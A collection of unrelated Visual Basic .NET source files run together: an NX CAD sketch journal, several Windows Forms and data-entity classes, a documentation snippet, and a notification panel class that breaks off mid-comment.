theSession.SetUndoMarkVisibility(session_UndoMarkId21, "Curve", Session.MarkVisibility.Visible) Dim point3d14 As Point3d = Transform.Apply(New Point3d(-2.96987036992849, 2.77555756156289E-17, 0)) Dim arc4 As Arc arc4 = workPart.Curves.CreateArc(point3d14, nXMatrix1, 0.901636046846906, 0, 6.28318530717959) activeSketch.AddGeometry(arc4, Sketch.InferConstraintsOption.InferCoincidentConstraints) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId22 As Session.UndoMarkId ' session_UndoMarkId22 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry16 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc2, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry17 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc4, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint9 As SketchGeometricConstraint sketchGeometricConstraint9 = activeSketch.CreateConcentricConstraint(sketch_ConstraintGeometry16, sketch_ConstraintGeometry17) ' activeSketch.Update() ' Dim session_UndoMarkId24 As Session.UndoMarkId ' session_UndoMarkId24 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry20 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc4, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry21 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc3, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint11 As SketchGeometricConstraint sketchGeometricConstraint11 = activeSketch.CreateEqualRadiusConstraint(sketch_ConstraintGeometry20, sketch_ConstraintGeometry21) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Fillet... ' ---------------------------------------------- ' Dim session_UndoMarkId25 As Session.UndoMarkId ' session_UndoMarkId25 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId26 As Session.UndoMarkId ' session_UndoMarkId26 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Sketch Fillet") Dim nullCurve As Curve = Nothing Dim point3d15 As Point3d = Transform.Apply(New Point3d(-1.39791107668335, -0.451509002541505, 0)) Dim point3d16 As Point3d = Transform.Apply(New Point3d(-1.66857128553343, -0.622114059266163, 0)) Dim arcArray1() As Arc Dim sketchConstraintArray1() As SketchConstraint arcArray1 = activeSketch.Fillet(line3, arc2, point3d15, point3d16, 0.3, Sketch.TrimInputOption.True, Sketch.CreateDimensionOption.False, Sketch.AlternateSolutionOption.False, sketchConstraintArray1) ' activeSketch.Update() ' Dim session_UndoMarkId27 As Session.UndoMarkId ' session_UndoMarkId27 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Sketch Fillet") Dim point3d18 As Point3d = Transform.Apply(New Point3d(-1.39791107668335, 0.451509002541505, 0)) Dim point3d19 As Point3d = Transform.Apply(New Point3d(-1.66857128553343, 0.622114059266163, 0)) Dim arcArray2() As Arc Dim sketchConstraintArray2() As SketchConstraint arcArray2 = activeSketch.Fillet(line2, arc2, point3d18, point3d19, 0.3, Sketch.TrimInputOption.True, Sketch.CreateDimensionOption.False, Sketch.AlternateSolutionOption.False, sketchConstraintArray2) ' activeSketch.Update() ' Dim session_UndoMarkId29 As Session.UndoMarkId ' session_UndoMarkId29 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Sketch Fillet") Dim point3d24 As Point3d = Transform.Apply(New Point3d(1.29076318285452, 0.451509002541505, 0)) Dim point3d25 As Point3d = Transform.Apply(New Point3d(2.04090704553618, 0.897689825029289, 0)) Dim arcArray4() As Arc Dim sketchConstraintArray4() As SketchConstraint arcArray4 = activeSketch.Fillet(line2, arc1, point3d24, point3d25, 0.3, Sketch.TrimInputOption.True, Sketch.CreateDimensionOption.False, Sketch.AlternateSolutionOption.False, sketchConstraintArray4) ' activeSketch.Update() ' Dim session_UndoMarkId30 As Session.UndoMarkId ' session_UndoMarkId30 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Sketch Fillet") Dim point3d27 As Point3d = Transform.Apply(New Point3d(1.46159948646762, -0.451509002541505, 0)) Dim point3d28 As Point3d = Transform.Apply(New Point3d(1.91929943839091, -0.718663728719681, 0)) Dim arcArray5() As Arc Dim sketchConstraintArray5() As SketchConstraint arcArray5 = activeSketch.Fillet(line3, arc1, point3d27, point3d28, 0.3, Sketch.TrimInputOption.True, Sketch.CreateDimensionOption.False, Sketch.AlternateSolutionOption.False, sketchConstraintArray5) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Fillet... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Dimensions->Radius... ' ---------------------------------------------- ' Dim session_UndoMarkId31 As Session.UndoMarkId ' session_UndoMarkId31 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId32 As Session.UndoMarkId ' session_UndoMarkId32 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry1 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry1.Geometry = arcArray1(0) sketch_DimensionGeometry1.AssocType = Sketch.AssocType.StartPoint sketch_DimensionGeometry1.AssocValue = 0 Dim point3d30 As Point3d = Transform.Apply(New Point3d(-0.32269079571363, -1.1863632195354, 0)) Dim nullExpression As Expression = Nothing Dim sketchDimensionalConstraint1 As SketchDimensionalConstraint sketchDimensionalConstraint1 = activeSketch.CreateRadialDimension(sketch_DimensionGeometry1, point3d30, nullExpression) Dim dimension1 As Annotations.Dimension dimension1 = sketchDimensionalConstraint1.AssociatedDimension Dim expression1 As Expression expression1 = sketchDimensionalConstraint1.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId33 As Session.UndoMarkId ' session_UndoMarkId33 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId34 As Session.UndoMarkId ' session_UndoMarkId34 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry22 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arcArray1(0), Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry23 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arcArray2(0), Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint12 As SketchGeometricConstraint sketchGeometricConstraint12 = activeSketch.CreateEqualRadiusConstraint(sketch_ConstraintGeometry22, sketch_ConstraintGeometry23) ' activeSketch.Update() ' Dim session_UndoMarkId35 As Session.UndoMarkId ' session_UndoMarkId35 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry24 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arcArray1(0), Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry25 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arcArray4(0), Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint13 As SketchGeometricConstraint sketchGeometricConstraint13 = activeSketch.CreateEqualRadiusConstraint(sketch_ConstraintGeometry24, sketch_ConstraintGeometry25) ' activeSketch.Update() ' Dim session_UndoMarkId36 As Session.UndoMarkId ' session_UndoMarkId36 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry26 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arcArray1(0), Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry27 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arcArray5(0), Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint14 As SketchGeometricConstraint sketchGeometricConstraint14 = activeSketch.CreateEqualRadiusConstraint(sketch_ConstraintGeometry26, sketch_ConstraintGeometry27) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Dimensions->Inferred... ' ---------------------------------------------- ' Dim session_UndoMarkId37 As Session.UndoMarkId ' session_UndoMarkId37 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId38 As Session.UndoMarkId ' session_UndoMarkId38 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry2 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry2.Geometry = line2 sketch_DimensionGeometry2.AssocType = Sketch.AssocType.StartPoint sketch_DimensionGeometry2.AssocValue = 0 Dim sketch_DimensionGeometry3 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry3.Geometry = line3 sketch_DimensionGeometry3.AssocType = Sketch.AssocType.StartPoint sketch_DimensionGeometry3.AssocValue = 0 Dim point3d31 As Point3d = Transform.Apply(New Point3d(-5.71062921979257, 0.000350333854488392, 0)) Dim sketchDimensionalConstraint2 As SketchDimensionalConstraint sketchDimensionalConstraint2 = activeSketch.CreateDimension(Sketch.ConstraintType.PerpendicularDim, sketch_DimensionGeometry2, sketch_DimensionGeometry3, point3d31, nullExpression) Dim dimension2 As Annotations.Dimension dimension2 = sketchDimensionalConstraint2.AssociatedDimension Dim expression2 As Expression expression2 = sketchDimensionalConstraint2.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId39 As Session.UndoMarkId ' session_UndoMarkId39 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression2.RightHandSide = ".9" ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Dimensions->Diameter... ' ---------------------------------------------- ' Dim session_UndoMarkId40 As Session.UndoMarkId ' session_UndoMarkId40 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId41 As Session.UndoMarkId ' session_UndoMarkId41 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry4 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry4.Geometry = arc3 sketch_DimensionGeometry4.AssocType = Sketch.AssocType.Tangency sketch_DimensionGeometry4.AssocValue = 14 Dim point3d32 As Point3d = Transform.Apply(New Point3d(5.86856611843905, 0.681035869754707, 0)) Dim sketchDimensionalConstraint3 As SketchDimensionalConstraint sketchDimensionalConstraint3 = activeSketch.CreateDiameterDimension(sketch_DimensionGeometry4, point3d32, nullExpression) Dim dimension3 As Annotations.Dimension dimension3 = sketchDimensionalConstraint3.AssociatedDimension Dim expression3 As Expression expression3 = sketchDimensionalConstraint3.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId42 As Session.UndoMarkId ' session_UndoMarkId42 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression3.RightHandSide = "1.8" ' activeSketch.Update() ' Dim session_UndoMarkId43 As Session.UndoMarkId ' session_UndoMarkId43 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry5 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry5.Geometry = arc1 sketch_DimensionGeometry5.AssocType = Sketch.AssocType.Tangency sketch_DimensionGeometry5.AssocValue = 69 Dim point3d33 As Point3d = Transform.Apply(New Point3d(5.60257273337908, 2.50622849325758, 0)) Dim sketchDimensionalConstraint4 As SketchDimensionalConstraint sketchDimensionalConstraint4 = activeSketch.CreateDiameterDimension(sketch_DimensionGeometry5, point3d33, nullExpression) Dim dimension4 As Annotations.Dimension dimension4 = sketchDimensionalConstraint4.AssociatedDimension Dim expression4 As Expression expression4 = sketchDimensionalConstraint4.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId44 As Session.UndoMarkId ' session_UndoMarkId44 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression4.RightHandSide = "2.9" ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Dimensions->Inferred... ' ---------------------------------------------- ' Dim session_UndoMarkId45 As Session.UndoMarkId ' session_UndoMarkId45 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId46 As Session.UndoMarkId ' session_UndoMarkId46 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry6 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry6.Geometry = arc2 sketch_DimensionGeometry6.AssocType = Sketch.AssocType.ArcCenter sketch_DimensionGeometry6.AssocValue = 0 Dim sketch_DimensionGeometry7 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry7.Geometry = arc1 sketch_DimensionGeometry7.AssocType = Sketch.AssocType.ArcCenter sketch_DimensionGeometry7.AssocValue = 0 Dim point3d34 As Point3d = Transform.Apply(New Point3d(0.00281935155391224, 2.01373233216255, 0)) Dim sketchDimensionalConstraint5 As SketchDimensionalConstraint sketchDimensionalConstraint5 = activeSketch.CreateDimension(Sketch.ConstraintType.HorizontalDim, sketch_DimensionGeometry6, sketch_DimensionGeometry7, point3d34, nullExpression) Dim dimension5 As Annotations.Dimension dimension5 = sketchDimensionalConstraint5.AssociatedDimension Dim expression5 As Expression expression5 = sketchDimensionalConstraint5.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId47 As Session.UndoMarkId ' session_UndoMarkId47 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression5.RightHandSide = "6.2" ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Tools->Journal->Stop ' ---------------------------------------------- sketchGeometricConstraint6 = activeSketch.CreateEqualLengthConstraint(sketch_ConstraintGeometry6, sketch_ConstraintGeometry7) activeSketch.DeleteObjects(New NXObject() {sketchGeometricConstraint2, sketchGeometricConstraint3}) activeSketch.CreateFixedConstraint(New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.None, 0)) activeSketch.CreateCoincidentConstraint( _ New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.StartVertex, 0), _ New Sketch.ConstraintGeometry(arc2, Sketch.ConstraintPointType.ArcCenter, 0)) activeSketch.CreateCoincidentConstraint( _ New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.EndVertex, 0), _ New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.ArcCenter, 0)) theUFSession.Sket.SetReferenceStatus(activeSketch.Tag, line1.Tag, NXOpen.UF.UFSket.ReferenceStatus.Reference) Dim undoMark As Session.UndoMarkId = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "change dimensions") Try expression1.SetName(dimensionData(4).name) expression2.SetName(dimensionData(1).name) expression3.SetName(dimensionData(2).name) expression4.SetName(dimensionData(3).name) expression5.SetName(dimensionData(0).name) Catch ex As Exception System.Windows.Forms.MessageBox.Show("Undoing change names of expressions because of the following errors:" & Chr(10) & ex.ToString()) theSession.UndoToMark(undoMark, Nothing) activeSketch.Update() Exit Sub End Try theSession.DeleteUndoMark(undoMark, Nothing) undoMark = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "change dimensions") Try expression1.RightHandSide = dimensionData(4).rhs expression2.RightHandSide = dimensionData(1).rhs expression3.RightHandSide = dimensionData(2).rhs expression4.RightHandSide = dimensionData(3).rhs expression5.RightHandSide = dimensionData(0).rhs Catch ex As Exception System.Windows.Forms.MessageBox.Show("Undoing change values of expressions because of the following errors:" & Chr(10) & ex.ToString()) theSession.UndoToMark(undoMark, Nothing) activeSketch.Update() Exit Sub End Try theSession.DeleteUndoMark(undoMark, Nothing) activeSketch.Update() End Sub End Class End Module
Namespace Connect.Modules.Kickstart.Entities Public Class ProjectConfigInfo Private _managersneeded As Integer Private _developersneeded As Integer Private _designersneeded As Integer Private _translatorsneeded As Integer Private _testersneeded As Integer Private _fundingneeded As Decimal Private _fundingcurrency As String Private _initializedonly As Boolean Private _ideatitle As String Private _ideasummary As String Private _ideadescription As String Private _logourl As String = "" Private _currentVersion As String = "" Private _downloadurl As String = "" Public Sub New() _initializedonly = True _managersneeded = 1 _developersneeded = 0 _designersneeded = 0 _translatorsneeded = 0 _testersneeded = 0 _fundingneeded = CDec(0.0) _fundingcurrency = "USD" _ideatitle = "" _ideasummary = "" _ideadescription = "" _logourl = "" _currentVersion = "" _downloadurl = "" End Sub Public Property InitializedOnly As Boolean Get Return _initializedonly End Get Set(Value As Boolean) _initializedonly = Value End Set End Property Public Property CurrentVersion As String Get Return _currentVersion End Get Set(Value As String) _currentVersion = Value End Set End Property Public Property DownloadUrl As String Get Return _downloadurl End Get Set(Value As String) _downloadurl = Value End Set End Property Public Property LogoUrl As String Get Return _logourl End Get Set(Value As String) _logourl = Value End Set End Property Public Property IdeaTitle As String Get Return _ideatitle End Get Set(Value As String) _ideatitle = Value End Set End Property Public Property IdeaSummary As String Get Return _ideasummary End Get Set(Value As String) _ideasummary = Value End Set End Property Public Property IdeaDescription As String Get Return _ideadescription End Get Set(Value As String) _ideadescription = Value End Set End Property Public Property FundingCurrency As String Get Return _fundingcurrency End Get Set(Value As String) _fundingcurrency = Value End Set End Property Public Property ManagersNeeded As Integer Get Return _managersneeded End Get Set(Value As Integer) _managersneeded = Value End Set End Property Public Property DevelopersNeeded As Integer Get Return _developersneeded End Get Set(Value As Integer) _developersneeded = Value End Set End Property Public Property DesignersNeeded As Integer Get Return _designersneeded End Get Set(Value As Integer) _designersneeded = Value End Set End Property Public Property TranslatorsNeeded As Integer Get Return _translatorsneeded End Get Set(Value As Integer) _translatorsneeded = Value End Set End Property Public Property TestersNeeded As Integer Get Return _testersneeded End Get Set(Value As Integer) _testersneeded = Value End Set End Property Public Property FundingNeeded As Decimal Get Return _fundingneeded End Get Set(Value As Decimal) _fundingneeded = Value End Set End Property Public ReadOnly Property NeedsFunding As Boolean Get Return FundingNeeded > 0.0 End Get End Property Public ReadOnly Property NeedsDevelopers As Boolean Get Return DevelopersNeeded > 0 End Get End Property Public ReadOnly Property NeedsManagers As Boolean Get Return ManagersNeeded > 0 End Get End Property Public ReadOnly Property NeedsDesigners As Boolean Get Return DesignersNeeded > 0 End Get End Property Public ReadOnly Property NeedsTranslators As Boolean Get Return TranslatorsNeeded > 0 End Get End Property Public ReadOnly Property NeedsTesters As Boolean Get Return TestersNeeded > 0 End Get End Property Public ReadOnly Property HasOpenPositions As Boolean Get Return (NeedsDesigners Or NeedsDevelopers Or NeedsManagers Or NeedsTesters Or NeedsTranslators) End Get End Property End Class End Namespace
'----------------------------------------- ' Scribble.vb (c) 2002 by Charles Petzold '----------------------------------------- Imports System Imports System.Drawing Imports System.Windows.Forms Class Scribble Inherits Form Private bTracking As Boolean Private ptLast As Point Shared Sub Main() Application.Run(new Scribble()) End Sub Sub New() Text = "Scribble" BackColor = SystemColors.Window ForeColor = SystemColors.WindowText End Sub Protected Overrides Sub OnMouseDown(ByVal mea As MouseEventArgs) If mea.Button <> MouseButtons.Left Then Return ptLast = New Point(mea.X, mea.Y) bTracking = True End Sub Protected Overrides Sub OnMouseMove(ByVal mea As MouseEventArgs) If Not bTracking Then Return Dim ptNew As New Point(mea.X, mea.Y) Dim grfx As Graphics = CreateGraphics() grfx.DrawLine(New Pen(ForeColor), ptLast, ptNew) grfx.Dispose() ptLast = ptNew End Sub Protected Overrides Sub OnMouseUp(ByVal mea As MouseEventArgs) bTracking = False End Sub Protected Overrides Sub OnPaint(ByVal pea As PaintEventArgs) ' What do I do here? End Sub End Class
' Visual Basic .NET Document Option Strict On ' <Snippet25> <Assembly: CLSCompliant(True)> Public Class Group Private members() As String Public Sub New(ParamArray memberList() As String) members = memberList End Sub Public Overrides Function ToString() As String Return String.Join(", ", members) End Function End Class Module Example Public Sub Main() Dim gp As New Group("Matthew", "Mark", "Luke", "John") Console.WriteLine(gp.ToString()) End Sub End Module ' The example displays the following output: ' Matthew, Mark, Luke, John ' </Snippet25>
Public Class frmFunds Private debtSource As New BindingSource(Wrapper.Man.Debts, Nothing) Private doNotOpenHome As Boolean ' If doNotOpenHome is true, then the form will close without opening home. Otherwise, will open the home form. Private Sub frmFunds_Close(sender As Object, e As EventArgs) Handles MyBase.Closing If Not doNotOpenHome Then Dim home As New frmHome() home.Show() End If doNotOpenHome = False End Sub ' resets total funds and list of debts. Private Sub RefreshForm() lblTotalFunds.Text = FormatCurrency(Wrapper.Man.TotalFunds) debtSource.ResetBindings(True) End Sub ' sets up the list of debts Private Sub FrmFunds_Load(sender As Object, e As EventArgs) Handles MyBase.Load dgdDebts.DataSource = debtSource RefreshForm() End Sub ' if funds to remove is too high, shows messagebox. Otherwise, removes these funds using manager function, and refreshes the form Private Sub BtnRemove_Click(sender As Object, e As EventArgs) Handles btnRemove.Click If Not Wrapper.Man.RemoveFunds() Then MessageBox.Show("Funds to remove is higher than total pot. Please enter a valid number.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Error) End If RefreshForm() End Sub ' If there are no debts, exits sub. Otherwise, tries to get the debt, handing errors as necessary. Calls manager function to repay debt, showing messagebox if invalid. ' Then refreshes form. Private Sub BtnRepay_Click(sender As Object, e As EventArgs) Handles btnRepay.Click If dgdDebts.DisplayedRowCount(True) = 0 Then Exit Sub Dim debtToRepay As Debt Try debtToRepay = dgdDebts.CurrentRow.DataBoundItem Catch ex As NullReferenceException Exit Sub End Try If Not Wrapper.Man.RepayDebt(debtToRepay.UserOwing) Then MessageBox.Show("The amount entered was invalid. Please try again.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Error) End If RefreshForm() End Sub ' creates new transaction history form and shows it. Private Sub BtnHistory_Click(sender As Object, e As EventArgs) Handles btnHistory.Click Dim histForm As New frmTransHistory() histForm.ShowDialog() End Sub ' calls manager function to create fundraiser, then refreshes form Private Sub BtnNewFundraiser_Click(sender As Object, e As EventArgs) Handles btnNewFundraiser.Click Wrapper.Man.CreateFundraiser() RefreshForm() End Sub ' closes form Private Sub BtnClose_Click(sender As Object, e As EventArgs) Handles btnClose.Click Close() End Sub End Class
Public Interface INetService Sub Init() Sub Kill() Sub Start() Sub OnReceive(ByRef state As StateObject) End Interface
Imports System Imports System.Collections.Generic Imports System.Linq Imports DevExpress.Mvvm Imports DevExpress.Mvvm.POCO Namespace DevExpress.DevAV.ViewModels Partial Public Class OrderCollectionViewModel Private Const NumberOfAverageOrders As Integer = 200 Public Overridable Property AverageOrders() As List(Of Order) Public Overridable Property Sales() As List(Of SalesInfo) Public Overridable Property SelectedSale() As SalesInfo Public Sub ShowPrintPreview() Dim link = Me.GetRequiredService(Of DevExpress.DevAV.Common.View.IPrintableControlPreviewService)().GetLink() Me.GetRequiredService(Of IDocumentManagerService)("FrameDocumentUIService").CreateDocument("PrintableControlPrintPreview", PrintableControlPreviewViewModel.Create(link), Nothing, Me).Show() End Sub Protected Overrides Sub OnInitializeInRuntime() MyBase.OnInitializeInRuntime() Dim unitOfWork = UnitOfWorkFactory.CreateUnitOfWork() Sales = QueriesHelper.GetSales(unitOfWork.OrderItems) SelectedSale = Sales(0) AverageOrders = QueriesHelper.GetAverageOrders(unitOfWork.Orders.ActualOrders(), NumberOfAverageOrders) End Sub Protected Overrides Sub OnEntitiesAssigned(ByVal getSelectedEntityCallback As Func(Of Order)) MyBase.OnEntitiesAssigned(getSelectedEntityCallback) If SelectedEntity Is Nothing Then SelectedEntity = Entities.FirstOrDefault() End If End Sub End Class End Namespace
Imports ConsoleTables Imports DataTableMockedLibrary Module Module1 Sub Main() Dim operations As New Mocked Dim dt = operations.TaxTable() Dim table = New ConsoleTable("Identifier", "Product", "Tax", "Amount") For Each row As DataRow In dt.Rows table.AddRow( row.Field(Of Integer)("Identifier"), row.Field(Of String)("Product"), row.Field(Of Decimal)("Tax"), row.Field(Of Decimal)("Amount")) Next table.Write() Dim groupSumResults = dt.AsEnumerable. GroupBy(Function(row) row.Field(Of Decimal)("Tax")). Select(Function(group) New With { Key .Tax = group.Key, .Sum = group.Sum(Function(row) row.Field(Of Decimal)("Amount")) }) table = New ConsoleTable("Tax amount", "Sum") For Each group In groupSumResults table.AddRow(group.Tax.ToString("C2"), group.Sum.ToString("C2")) Next table.Write() Console.ReadLine() End Sub End Module
'Name: Joel Murphy 'Date: Dec. 13, 2012 'Purpose: To display the employee records that were stored in the structure in the Input Form Option Strict On Public Class OutputForm 'Declare constants Private Const MIN_EMPLOYEES_INT As Integer = 0I Private Const MAX_EMPLOYEES_INT As Integer = 10I Private Const HOURLY_WAGE_DECIMAL As Decimal = 10.5D 'Declare variables 'EmployeesEntered is of the shared structure type in InputForm Private EmployeesEntered(MAX_EMPLOYEES_INT - 1) As InputForm.EmployeeInfo Private NumOfEmployeeInt As Integer Private RecordPlaceInt As Integer = 0I Private HoursWorkedDec As Decimal Private WeeklyPayDec As Decimal 'Procedure that fills in the textboxes with the employee information Private Sub Display_Employee(ByVal index As Integer) NameTextBox.Text = EmployeesEntered(index).NameString NumberTextBox.Text = EmployeesEntered(index).NumberString HoursWorkedDec = EmployeesEntered(index).HoursDecimal HoursTextBox.Text = CStr(HoursWorkedDec) WeeklyPayDec = HoursWorkedDec * HOURLY_WAGE_DECIMAL PayTextBox.Text = CStr(WeeklyPayDec) End Sub 'Click next and a new employee record will show up if there are any left Private Sub NextButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles NextButton.Click If RecordPlaceInt <= NumOfEmployeeInt - 1 Then Display_Employee(RecordPlaceInt) RecordPlaceInt += 1 Else MessageBox.Show("No more employee records to display", "No More Records", MessageBoxButtons.OK, MessageBoxIcon.Information) NextButton.Enabled = False End If End Sub Private Sub ExitButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExitButton.Click 'Closes the application Me.Close() End Sub Private Sub OutputForm_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed 'When the output is closed so is the Input InputForm.Close() End Sub Private Sub OutputForm_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load 'When the form is activated NumOfEmployeeInt = InputForm.NumOfEmployeeInt For i As Integer = MIN_EMPLOYEES_INT To NumOfEmployeeInt EmployeesEntered(i) = InputForm.EmployeesEntered(i) Next i If RecordPlaceInt <= NumOfEmployeeInt - 1 Then Display_Employee(RecordPlaceInt) RecordPlaceInt += 1 Else MessageBox.Show("No employee records to display", "No Records", MessageBoxButtons.OK, MessageBoxIcon.Information) NextButton.Enabled = False End If End Sub End Class
Imports System Imports System.Collections.Generic Imports System.ComponentModel.DataAnnotations Imports System.ComponentModel.DataAnnotations.Schema Imports System.Data.Entity.Spatial Imports Newtonsoft.Json <Table("tblNOIProject")> Partial Public Class NOIProject Implements IEntity Public Sub New() NOISubmission = New HashSet(Of NOISubmission)() End Sub <Key> <DatabaseGenerated(DatabaseGeneratedOption.Identity)> Public Property ProjectID As Integer <DatabaseGenerated(DatabaseGeneratedOption.Computed)> <StringLength(33)> Public Property ProjectNumber As String <Required> <StringLength(80)> <Index(IsUnique:=True)> Public Property ProjectName As String <StringLength(60)> Public Property PermitNumber As String Public Property ProgramID As Integer <StringLength(64)> Public Property CreatedBy As String <DatabaseGenerated(DatabaseGeneratedOption.Computed)> Public Property CreatedDate As Date <StringLength(64)> Public Property LastChgBy As String <DatabaseGenerated(DatabaseGeneratedOption.Computed)> Public Property LastChgDate As Date <JsonIgnore> Public Overridable Property NOISubmission As ICollection(Of NOISubmission) Public Overridable Property NOIProgram As NOIProgram Public Property EntityState As EntityState = NoticeOfIntent.EntityState.Unchanged Implements IEntity.EntityState <NotMapped> Public Property label As String <NotMapped> Public Property value As String End Class
Public Class Notify Inherits Panel #Region "Properties" Private textValue As String ''' <summary> ''' The text body of the notification ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> <System.ComponentModel.Description("The text body of the notification")> _ Public Property text() As String Get Return textValue End Get Set(ByVal value As String) textValue = value End Set End Property Private titleValue As String ''' <summary> ''' Title of the notification ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> <System.ComponentModel.Description("Title of the notification")> _ Public Property title() As String Get Return titleValue End Get Set(ByVal value As String) titleValue = value End Set End Property Private expiresValue As Integer = 0 ''' <summary> ''' The amount of time in ms the notification will stay visable ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> <System.ComponentModel.Description("The amount of time in ms the notification will stay visable")> _ Public Property expires() As Integer Get Return expiresValue End Get Set(ByVal value As Integer) expiresValue = value End Set End Property ''' <summary> ''' Helper to make alert stay on the page untill closed. Sets expire to 0 if set to true. ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> <System.ComponentModel.Description("Helper to make alert stay on the page untill closed. Sets expire to 0 if set to true.")> _ Public Property sticky() As Boolean Get Return expires = 0 End Get Set(ByVal value As Boolean) If value Then expires = 0 If Not value Then If expires <= 0 Then expires = 5000 End If End If End Set End Property Private speedValue As Integer = 500 ''' <summary> ''' The animation speed in ms ''' </summary> ''' <value></value> ''' 